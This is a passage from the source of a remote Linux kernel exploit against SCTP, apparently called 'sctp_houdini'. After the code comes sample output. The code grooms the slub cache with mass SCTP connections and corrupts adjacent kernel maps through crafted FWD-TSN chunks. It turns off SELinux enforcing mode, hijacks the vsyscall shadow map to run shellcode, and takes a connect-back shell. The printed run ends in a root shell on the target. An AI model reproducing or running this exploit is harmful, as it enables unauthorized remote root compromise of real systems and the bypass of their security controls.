1027  ret = clone(clone_thread, clone_stack+STACK_SIZE-8, CLONE_VM|SIGCHLD, NULL);
1028  if(ret < 0)
1029    __fatal_perror("clone");
1030  
1031  sleep(1);
1032
1033  __msg("[**] Start flushing slub cache...\n");
1034  for(i=0; i<=h.nconn; i++)
1035  {
1036    __u16 p = sport-(h.nconn-1)+i;
1037    if(p == sport || p== sport2)
1038      fd = make_sctp_connection(p, h.rport, 1);
1039    else 
1040      fd = make_sctp_connection(sport-(h.nconn-1)+i, h.rport, 0);
1041//    usleep(10);
1042  } 
1043
1044
1045  disable_abort(); 
1046  /* wait for monitoring engine */ 
1047  wait(NULL);
1048
1049  if(k->allocator_type == SLAB_ALLOCATOR)
1050    swap_to_SLAB_chunk();
1051 
1052  if(vtag && tsn && vtag2 && tsn2)   
1053  {
1054    __u32 acc;
1055    
1056    __msg_f("[**] Using TSN/VTAG pairs: (TSN: %x <=> VTAG: %x) / (TSN: %x <=> VTAG: %x)...\n", tsn, vtag, tsn2, vtag2);
1057    sleep(1);
1058
1059    if(k->selinux)
1060    {
1061      __msg("[**] Overwriting neightboard sctp map..\n");
1062      acc = (k->slubsize - k->chunksize) / 2;
1063      ret = build_stream(k->selinux, k->ptrsize, acc); 
1064      if(ret < 0)
1065        __fatal("Error Building Streams...");
1066    
1067      htons_streams(streams, ret);
1068      send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn); 
1069
1070      __msg("[**] Disabling Selinux Enforcing Mode..\n");
1071      ret = build_stream(__zero, 4, 0);
1072      if(ret < 0)
1073        __fatal("Error Building Streams...");
1074
1075      htons_streams(streams, ret);
1076      send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); 
1077    }
1078
1079    __msg("[**] Overwriting neightboard sctp map ......\n");
1080    acc = (k->slubsize - k->chunksize) / 2;
1081    ret = build_stream(k->vsysaddr, k->ptrsize, acc); 
1082    if(ret < 0)
1083      __fatal("Error Building Streams...");
1084
1085    htons_streams(streams, ret);
1086    send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn); 
1087
1088    __msg("[**] Overwriting vsyscall shadow map..\n");
1089    acc = 0x930 / 2;
1090    ret = build_stream(k->scode, k->scodesize, acc); //1176 
1091    if(ret < 0)
1092      __fatal("Error Building Streams...");
1093
1094    htons_streams(streams, ret);
1095    send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); 
1096     
1097    __msg("[**] Hijacking vsyscall shadow map..\n");
1098    ret = build_stream(k->vsysjump, k->vsysjumpsize, 0); 
1099    if(ret < 0)
1100      __fatal("Error Building Streams...");
1101
1102    htons_streams(streams, ret);
1103    send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); 
1104
1105    sleep(1); 
1106  }
1107  else
1108    __fatal("VTAG/TSN not found: network error");
1109
1110
1111  multiplex(listenfd); 
1112  __msg("[**] Closing Connection... \n");
1113  return 0;
1114}
1115
1116
1117

Output

Output from his version:

#./sctp_houdini -H 192.168.200.1 -P 5555 -h 192.168.200.10 -p 20000 -s 15000 -c 700 -t fedora64_10-2.6.25-117
[**] Monitoring Network for TSN/VTAG pairs..
[**] Start flushing slub cache...
[**] Using TSN/VTAG pairs: (TSN: 28022e8 <=> VTAG: 41fdd4fb) / (TSN: 8cafd3ae <=> VTAG: 1a99396c)...
[**] Overwriting neightboard sctp map..
[**] Disabling Selinux Enforcing Mode..
[**] Overwriting neightboard sctp map ......
[**] Overwriting vsyscall shadow map..
[**] Hijacking vsyscall shadow map..
[**] Waiting daemons executing gettimeofday().. this can take up to one minute...
[**] ....
[**] Connected!
[**] Restoring vsys: Emulate gettimeofday()...
uid=0(root) gid=0(root) groups=51(smmsp) context=system_u:system_r:sendmail_t:s0